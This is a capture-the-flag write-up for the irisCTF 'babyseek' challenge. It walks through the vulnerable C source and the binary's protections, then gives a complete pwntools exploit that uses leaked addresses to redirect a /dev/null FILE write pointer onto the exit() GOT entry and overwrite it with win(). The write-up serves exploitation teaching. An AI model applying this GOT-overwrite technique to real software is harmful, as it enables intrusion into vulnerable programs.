irisCTF babyseek
The Challenge
I’ll let you seek around my file as far as you want, but you can’t go anywhere since it’s /dev/null.
Author: sera
seek.zipnc seek.chal.irisc.tf 10004
The Provided ZIP
- chal
- Provided binary
- chal.c
- Source which binary comes from
- Makefile
- Provided compilation flags
- Dockerfile
- Dockerfile running on the server
Protections
[*] '/root/workspace/vr_pres2/seek/chal'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Welp, if we can overflow and overwrite the GOT, seems like we’re in the home stretch. No canary is included either so we can buffer overflow.
Wait, I see a win()
#include <stdlib.h>
#include <stdio.h>
void win() {
system("cat /root/workspace/vr_pres2/seek/flag.txt");
}
chal.c main()
printf("Your flag is located around %p.\n", win); // Leaked win() function
FILE* null = fopen("/dev/null", "w");
int pos = 0;
void* super_special = &win;
fwrite("void", 1, 4, null);
printf("I'm currently at %p.\n", null->_IO_write_ptr); // Leaked null pointer
printf("I'll let you write the flag into nowhere!\n");
printf("Where should I seek into? ");
scanf("%d", &pos); // Integer input
null->_IO_write_ptr += pos;
fwrite(&super_special, sizeof(void*), 1, null); // Overwrite???
exit(0)
Plan of Attack
- Get the leaked win() address
- Get the leaked file pointer address
- Calculate offset to overwrite GOT exit()
- Input computed integer into scanf()
- Overwrite GOT via fwrite()
- Shell?
Understanding fwrite()
size_t fwrite(
const void *ptr, // Pointer to be written from
size_t size, // Number of bytes to be written
size_t nmemb, // Number of elements to be written
FILE *stream // File pointer output
)
Let’s PWN
p.recvuntil(b'Your flag is located around ')
win_leak = int(p.recvuntilS(b'.\n').strip(".\n"), 16)
print(f"Win func is at {hex(win_leak)}")
p.recvuntil(b'I\'m currently at ')
pointer_leak = int(p.recvuntilS(b'\n').strip(".\n"), 16)
print(f"Pointer is at {hex(pointer_leak)}")
got_address = e.got["exit"] + (win_leak - e.sym["win"]) # Get base address of program to exit GOT entry
overwrite_offset = got_address - pointer_leak # Move pointer down over the GOT
overwrite_offset_str = str(overwrite_offset).encode() # Make into bytes string for send
p.sendline(overwrite_offset_str)
p.recvall()
Flag Acquired
irisctf{not_quite_fseek}
Final Exploit Code
# GOT overwritten lol
from pwn import *
context.log_level = 'debug'
# Setup for Run
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
gs = '''
continue
'''
# Load In Binary & ROPGadget it
e = context.binary = ELF(binary,checksec=False)
r = ROP(e)
def start():
if args.GDB:
return gdb.debug(e.path, gdbscript=gs)
else:
return process(e.path)
# Stuff
p = start()
p.recvuntil(b'Your flag is located around ')
win_leak = int(p.recvuntilS(b'.\n').strip(".\n"), 16)
print(f"Win func is at {hex(win_leak)}")
p.recvuntil(b'I\'m currently at ')
pointer_leak = int(p.recvuntilS(b'\n').strip(".\n"), 16)
print(f"Pointer is at {hex(pointer_leak)}")
got_address = e.got["exit"] + (win_leak - e.sym["win"]) # Get base address of program to exit GOT entry
overwrite_offset = got_address - pointer_leak # Move pointer down over the GOT
overwrite_offset_str = str(overwrite_offset).encode() # Make into bytes string for send
p.sendline(overwrite_offset_str)
p.recvall()